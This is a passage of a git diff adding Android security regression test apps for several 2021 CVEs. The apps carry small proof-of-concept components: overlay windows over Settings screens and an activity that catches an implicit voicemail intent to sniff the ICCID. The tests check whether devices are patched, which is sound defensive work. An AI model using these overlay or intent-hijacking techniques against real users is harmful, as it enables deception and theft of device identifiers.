android:supportsRtl="true"> + <uses-library android:name="android.test.runner" /> <service android:name=".PocService" android:enabled="true" android:exported="false" /> - <activity android:name=".PocActivity"> + <activity android:name=".PocActivity" + android:exported="true" + android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.cve_2021_0523" /> </manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml new file mode 100644 index 00000000000..dcdbe0aa788 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml @@ -0,0 +1,19 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <string name="overlay_button">OverlayButton</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java new file mode 100644 index 00000000000..e0fc3370936 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java @@ -0,0 +1,107 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0523; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.provider.Settings; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; +import java.io.IOException; +import java.util.regex.Pattern; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final String TEST_PKG = "android.security.cts.cve_2021_0523"; + private static final String TEST_PKG_WIFI = "com.android.settings"; + private static final int LAUNCH_TIMEOUT_MS = 20000; + private UiDevice mDevice; + String activityDump = ""; + + private void startOverlayService() { + Context context = getApplicationContext(); + if (Settings.canDrawOverlays(getApplicationContext())) { + Intent intent = new Intent(getApplicationContext(), PocService.class); + context.startService(intent); + } else { + try { + Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + @Before + public void startMainActivityFromHomeScreen() { + mDevice = UiDevice.getInstance(getInstrumentation()); + Context context = getApplicationContext(); + assertNotNull(context); + PackageManager packageManager = context.getPackageManager(); + assertNotNull(packageManager); + final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG); + assertNotNull(intent); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + /* Start the launcher activity */ + context.startActivity(intent); + /* Wait for the WifiScanModeActivity */ + if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) { + return; + } + /* Start the overlay service */ + startOverlayService(); + } + + @Test + public void testOverlayButtonPresence() { + Pattern pattern = Pattern.compile( + getApplicationContext().getResources().getString(R.string.overlay_button), + Pattern.CASE_INSENSITIVE); + BySelector selector = By.text(pattern); + /* Wait for an object of the overlay window */ + if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) { + return; + } + /* Check if the currently running activity is WifiScanModeActivity */ + try { + activityDump = mDevice.executeShellCommand("dumpsys activity"); + } catch (IOException e) { + throw new RuntimeException("Could not execute dumpsys activity command"); + } + Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n"); + if (!activityPattern.matcher(activityDump).find()) { + return; + } + String message = "Device is vulnerable to b/174047492 hence any app with " + + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen"; + assertNull(message, mDevice.findObject(selector)); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java index 0ba69f5bc8f..3e35266716d 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java @@ -17,61 +17,22 @@ package android.security.cts.cve_2021_0523; import android.app.Activity; +import android.content.ActivityNotFoundException; import android.content.Intent; -import android.content.Context; import android.net.wifi.WifiManager; -import android.os.Build; import android.os.Bundle; -import android.os.PowerManager; -import android.os.PowerManager.WakeLock; -import android.provider.Settings; public class PocActivity extends Activity { - private WakeLock mScreenLock; - private Context mContext; - - private void startOverlayService() { - if (Settings.canDrawOverlays(this)) { - Intent intent = new Intent(PocActivity.this, PocService.class); - startService(intent); - } else { - try { - Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION); - startActivityForResult(intent, 1); - } catch (Exception e) { - e.printStackTrace(); - } - } - } - - private void stopOverlayService() { - Intent intent = new Intent(PocActivity.this, PocService.class); - stopService(intent); - } @Override protected void onCreate(Bundle savedInstanceState) { - mContext = this.getApplicationContext(); - PowerManager pm = mContext.getSystemService(PowerManager.class); - mScreenLock = pm.newWakeLock( - PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, - "PocActivity"); - mScreenLock.acquire(); - try { - Thread.sleep(6000); - } catch (Exception e) { - e.printStackTrace(); - } super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); - startOverlayService(); Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE); - startActivityForResult(intent, 2); - } - - @Override - protected void onDestroy() { - super.onDestroy(); - mScreenLock.release(); + try { + startActivity(intent); + } catch (ActivityNotFoundException e) { + // do nothing + } } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java index bef2beb81ed..9b013b85944 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java @@ -84,9 +84,8 @@ public class PocService extends Service { private void showFloatingWindow() { if (Settings.canDrawOverlays(this)) { mButton = new Button(getApplicationContext()); - mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE + mButton.setText(getResources().getString(R.string.overlay_button)); mWindowManager.addView(mButton, mLayoutParams); - mButton.setOnTouchListener(new FloatingOnTouchListener()); new Handler().postDelayed(new Runnable() { @Override public void run() { @@ -96,25 +95,4 @@ public class PocService extends Service { mButton.setTag(mButton.getVisibility()); } } - - private static class FloatingOnTouchListener implements View.OnTouchListener { - - @Override - public boolean onTouch(View view, MotionEvent event) { - view.setDrawingCacheEnabled(true); - view.buildDrawingCache(); - Bitmap bitmap = view.getDrawingCache(); - int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2); - int red = Color.red(pixel); - int green = Color.green(pixel); - int blue = Color.blue(pixel); - view.setDrawingCacheEnabled(false); - if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) { - throw new RuntimeException( - "Device is vulnerable to b/174047492 hence any app with " + - "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen"); - } - return false; - } - } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java index 73c8e10e005..3ffb7df9664 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java @@ -16,30 +16,34 @@ package android.security.cts.cve_2021_0586; +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.fail; + import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.net.Uri; + import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.By; import androidx.test.uiautomator.BySelector; import androidx.test.uiautomator.UiDevice; import androidx.test.uiautomator.Until; -import java.io.IOException; -import java.util.regex.Pattern; + import org.junit.Before; -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; -import static androidx.test.core.app.ApplicationProvider.getApplicationContext; -import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; -import static org.junit.Assert.assertNotNull; +import java.io.IOException; +import java.util.regex.Pattern; @RunWith(AndroidJUnit4.class) public class DeviceTest { private static final String TEST_PKG = "android.security.cts.cve_2021_0586"; - private static final String TEST_PKG_BT = "com.android.settings"; private static final int LAUNCH_TIMEOUT_MS = 20000; + private Pattern overlayTextPattern; private UiDevice mDevice; String activityDump = ""; @@ -68,26 +72,29 @@ public class DeviceTest { final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG); assertNotNull(intent); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + /* Start the launcher activity */ context.startActivity(intent); - Pattern pattern = Pattern.compile( + overlayTextPattern = Pattern.compile( getApplicationContext().getResources().getString(R.string.overlay_button), Pattern.CASE_INSENSITIVE); + } + + @Test + public void testOverlayButtonPresence() { /* Wait for the overlay window */ - if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) { + if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) { return; } + /* Start the DevicePickerActivity */ startDevicePickerActivity(); - } - @Test - public void testOverlayButtonPresence() { - BySelector selector = By.pkg(TEST_PKG_BT); - /* Wait for an object of DevicePickerActivity */ - if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) { + /* Wait until the object of launcher activity is gone */ + if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) { return; } + /* Check if the currently running activity is DevicePickerActivity */ try { activityDump = mDevice.executeShellCommand("dumpsys activity"); @@ -98,8 +105,10 @@ public class DeviceTest { if (!activityPattern.matcher(activityDump).find()) { return; } + + /* Failing the test as fix is not present */ String message = "Device is vulnerable to b/182584940 hence any app with " + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen"; - assertNotNull(message, mDevice.findObject(selector)); + fail(message); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp new file mode 100644 index 00000000000..770b5a2089e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +android_test_helper_app { + name: "CVE-2021-0642", + defaults: [ + "cts_support_defaults", + ], + srcs: ["src/**/*.java"], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml new file mode 100644 index 00000000000..fadda577403 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml @@ -0,0 +1,44 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.cve_2021_0642" + android:versionCode="1" + android:versionName="1.0"> + <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" /> + <application + android:allowBackup="true" + android:label="CVE-2021-0642" + android:supportsRtl="true"> + + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + <intent-filter> + <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" /> + <category android:name="android.intent.category.DEFAULT" /> + </intent-filter> + </activity> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.cve_2021_0642" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml new file mode 100644 index 00000000000..7460b96ae6b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/drawableview" + android:layout_width="match_parent" + android:layout_height="300dp" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java new file mode 100644 index 00000000000..8fc235ba9da --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java @@ -0,0 +1,100 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0642; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.hamcrest.CoreMatchers.notNullValue; +import static org.junit.Assert.assertThat; +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.ActivityNotFoundException; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.telephony.TelephonyManager; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; + +import java.util.List; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + static final String APP_TITLE = "CVE-2021-0642"; + static final String PACKAGE_NAME = "com.android.phone"; + static final int LAUNCH_TIMEOUT_MS = 20000; + + @Test + public void testCVE_2021_0642() { + UiDevice device = UiDevice.getInstance(getInstrumentation()); + Context context = getApplicationContext(); + assertThat(context, notNullValue()); + PackageManager packageManager = context.getPackageManager(); + assertThat(packageManager, notNullValue()); + assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)); + final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + try { + context.startActivity(intent); + } catch (ActivityNotFoundException e) { + assumeNoException(e); + } + + // Check if "com.android.phone" exists on the system + try { + packageManager.getPackageUid(PACKAGE_NAME, 0); + } catch (PackageManager.NameNotFoundException e) { + assumeNoException(e); + } + + // Wait for activity (which is part of package "com.android.phone") that + // handles ACTION_CONFIGURE_VOICEMAIL to get launched + boolean isVoicemailVisible = + device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS); + + // To check if PocActivity was launched + BySelector selector = By.enabled(true); + List<UiObject2> objects = device.findObjects(selector); + boolean isPocActivityVisible = false; + for (UiObject2 o : objects) { + String visibleText = o.getText(); + if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) { + isPocActivityVisible = true; + break; + } + } + device.pressHome(); + + assumeTrue(isVoicemailVisible || isPocActivityVisible); + + String outputMsg = "Device is vulnerable to b/185126149 " + + "hence sensitive Iccid could be sniffed by intercepting " + + "ACTION_CONFIGURE_VOICEMAIL implicit intent"; + assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible))); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java new file mode 100644 index 00000000000..1a335c76444 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java @@ -0,0 +1,22 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0642; + +import android.app.Activity; + +public class PocActivity extends Activity { +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp new file mode 100644 index 00000000000..c4589762fe8 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp @@ -0,0 +1,40 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-0953", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + platform_apis: true, +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml new file mode 100644 index 00000000000..ddc942fd44a --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml @@ -0,0 +1,45 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_0953" + android:versionCode="1" + android:versionName="1.0"> + <application + android:label="CVE-2021-0953" + android:supportsRtl="true"> + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN"/> + <category android:name="android.intent.category.LAUNCHER"/> + </intent-filter> + </activity> + <activity + android:name=".PocVulnerableActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.speech.action.WEB_SEARCH"/> + <category android:name="android.intent.category.DEFAULT"/> + </intent-filter> + </activity> + </application> + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_0953" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml new file mode 100644 index 00000000000..13651bd8010 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:layout_width="match_parent" + android:layout_height="match_parent"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml new file mode 100644 index 00000000000..2d3268bef08 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/pocVulnerableActivity" + android:layout_width="match_parent" + android:layout_height="match_parent"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml new file mode 100644 index 00000000000..c027ecfcd78 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <integer name="assumption_failure">-1</integer> + <integer name="pass">0</integer> + <integer name="fail">1</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml new file mode 100644 index 00000000000..69988650620 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="callback_key">testMutablePendingIntentCallback</string> + <string name="message_key">testMutablePendingIntentMessage</string> + <string name="status_key">testMutablePendingIntentStatus</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java new file mode 100644 index 00000000000..ee5dac6d122 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java @@ -0,0 +1,100 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_0953; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static org.junit.Assert.assertNotEquals; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.app.Activity; +import android.content.Context; +import android.content.Intent; +import android.os.Bundle; +import android.os.RemoteCallback; + +import androidx.test.runner.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + public static final int TIMEOUT_SEC = 20; + public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953"; + + @Test + public void testMutablePendingIntent() { + final Context context = getApplicationContext(); + PocStatus status = new PocStatus(); + CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>(); + RemoteCallback cb = new RemoteCallback((Bundle result) -> { + PocStatus pocStatus = new PocStatus(); + pocStatus.setErrorMessage( + result.getString(context.getResources().getString(R.string.message_key))); + pocStatus.setStatusCode( + result.getInt(context.getResources().getString(R.string.status_key))); + callbackReturn.complete(pocStatus); + }); + launchActivity(PocActivity.class, cb); // start activity with callback + try { + // blocking while the remotecallback is unset + status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS); + } catch (InterruptedException | ExecutionException | TimeoutException e) { + assumeNoException(e); + } + assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources() + .getInteger(R.integer.assumption_failure)); + assertNotEquals(status.getErrorMessage(), status.getStatusCode(), + context.getResources().getInteger(R.integer.fail)); + } + + private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) { + final Context context = getApplicationContext(); + final Intent intent = new Intent(Intent.ACTION_MAIN); + 